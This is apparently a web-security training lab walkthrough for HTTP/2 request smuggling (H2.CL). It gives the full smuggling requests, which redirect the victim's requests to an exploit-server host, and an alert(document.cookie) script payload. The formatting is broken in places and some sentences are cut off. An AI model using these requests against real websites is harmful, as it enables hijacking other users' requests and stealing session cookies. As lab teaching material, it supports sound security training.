Lab: H2.CL request smuggling
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length.
alert(document.cookie). The victim user accesses the home page every 10 seconds.
Solving this lab requires a technique that we covered in the earlier HTTP request smuggling materials
Using Burp Repeater, try smuggling an arbitrary prefix in the body of an HTTP/2 request by including a
Content-Length: 0header as follows. Remember to expand the Inspector's Request Attributes section and make sure the protocol is set to HTTP/2 before sending the request.
POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 SMUGGLED
Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.
Using Burp Repeater, notice that if you send a request for
GET /resources, you are redirected to
Create the following request to smuggle the start of a request for
/resources, along with an arbitrary
POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: foo Content-Length: 5 x=1
Send the request a few times. Notice that smuggling this prefix past the front-end allows you to redirect the subsequent request on the connection to an arbitrary host.
Go to the exploit server and change the file path to
/resources. In the body, enter the payload
alert(document.cookie), then store the exploit.
In Burp Repeater, edit your malicious request so that the
Hostheader points to your exploit server:
POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Length: 5 x=1
Send the request a few times and confirm that you receive a redirect to the exploit server.
Resend the request and wait for 10 seconds or so.
Go to the exploit server and check the access log. If you see a
GET /resources/request from the victim, this indicates that your request smuggling attack was successful. Otherwise, check that there are no issues with your attack request and try again.